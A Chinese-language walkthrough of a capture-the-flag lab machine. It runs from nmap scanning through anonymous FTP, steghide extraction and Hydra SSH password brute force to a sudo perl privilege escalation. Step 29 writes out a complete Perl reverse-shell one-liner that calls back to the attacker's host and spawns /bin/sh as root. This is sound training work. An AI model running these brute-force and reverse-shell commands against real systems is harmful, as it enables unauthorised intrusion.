打靶过程:
1、启动靶机
利用 ip a查看网卡信息
2、Sudo arp-scan -I eth0 -l //扫描出靶机
成功获取主机ip192.168.2.13,使用nmap扫描端口
3、Sudo nmap -p- 192.168.2.13 //扫描全部端口
发现开放21,22,80端口,扫描端口对应的版本及服务
4、Sudo nmap -p21,22,80 -sV 192.168.2.13 //扫描版本及服务
确定21端口上运行的是ftp 3.0.3;22端口上运行的是OpenSSH 7.9sp1;80端口上运行的是Apache 2.4.38。
5、Sudo nmap -p21 -sC 192.168.2.13 //脚本扫描21端口
Sudo nmap -p22 -sC 192.168.2.13 //脚本扫描22端口
Sudo nmap -p80 -sC 192.168.2.13 //脚本扫描80端口
扫描发现:
ftp有一个匿名登陆的漏洞,而且上面还有一张图片;
OpenSSH上发现了一些Key;
http上发现了一个网页Title:Moneyox;
6、既然是匿名登录那就利用一下匿名登陆漏洞
ftp 172.16.95.137 //# 账户密码均为anonymous
7、Ls查看,发现一张照片
get trytofind.jpg //下载图片
8、切换根目录尝试发现不能跳出访问操作系统路径,exit退出
9、gwenview trytofind.jpg //打开图片,发现并没有什么特别的
10、访问192.168.2.13:80端口的http服务 查看源代码也没有有用信息,提示这是一个简单的靶机不要想太多。
11、Sudo dirsearch -u http://192.168.2.13/ //进行路径爆破,发现/blogs/,进行访问
12、访问http://192.168.2.13/blogs/
查看源码发现另一个目录,这个目录并没有扫到
访问此路径
查看源码发现一个Key,暂时不知道干嘛用的先存起来
Key:3xtr4ctd4t4
到目前为止,获得一张图片和一个key,都无法更进一步获得权限,所以可以尝试一下SSH爆破。利用kali自带密码爆破ssh-brute。
13、先尝试一下root账户
14、先切换到根目录,将rockyou.txt拷贝到根目录
15、在根目录下用nmap进行爆破,并没有爆破成功
Sudo nmap --script ssh-brute --script-args userdb=user.txt,passdb=rockyou.txt 192.168.2.13
16、还剩一张图片没有用到
进入到桌面用strings命令查看有无可打印的字符
看头部从字符来看,在这张图片有可用信息,可能用隐写术藏在图片里
用steghide info查看隐藏的信息,发现有密码,这是想到了在http源码里存下的密码使用试一下
17、输入发现成功了,发现一个嵌入的data.txt
发现镶嵌,于是用steghide来榨取信息,密码同上
18、steghide extract -sf trytofind.jpg
19、得到一个data.txt,查看一下,可以发现有一个用户名renu的出现,而且密码比较弱,刚才root的SSH也没有爆破出来,那么可以尝试一下这个...
20、Sudo nmap --script ssh-brute --script-args userdb=user.txt,passdb=rockyou.txt 192.168.2.13
他说renu账号很弱那就爆破一下,把root换成renu,在爆破一下试试,结果ssh-brute没有响应了,换一个工具
21、hydra -l renu -P rockyou.txt 192.168.2.13 ssh //利用强大的hydra进行爆破,可以看到很快将renu账户的ssh密码987654321爆破出来了
22、利用密码登录renu,
ssh renu@192.168.2.13
23、进来之后先id看一下用户
在sudo一下看能不能直接su成管理员账号,很显然不能
24、Uname -a看一下内核,在history看一下历史命令
25、查看历史命令
Renu账号的ssh公钥拷贝给了lily账号,renu账号可以su到lily账号
26、先查看一下公钥文件
有权限切换到lily账号并查看lily账号中的user2.txt
进入到lily的ssh目录,看到一个公钥打开发现跟renu的公钥是一样的
27、ssh lily@127.0.0.1 尝试登录一下,登录成功
查看lily的历史命令,发现能执行sudo命令
28、Sudo -l //列出所有可执行的命令,发现有一个perl指令可以不用密码直接执行,可利用反弹shell
29、
sudo perl -e 'use Socket;$i="192.168.2.14";$p=3333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
利用脚本反倒到自己的kali机器上,kali监听3333端口,查看id发现已经是root账号
Ls一下发现一个user2.txt,cat一下发现flag
30、进入renu账号发现user1.txt
三个flag全部拿到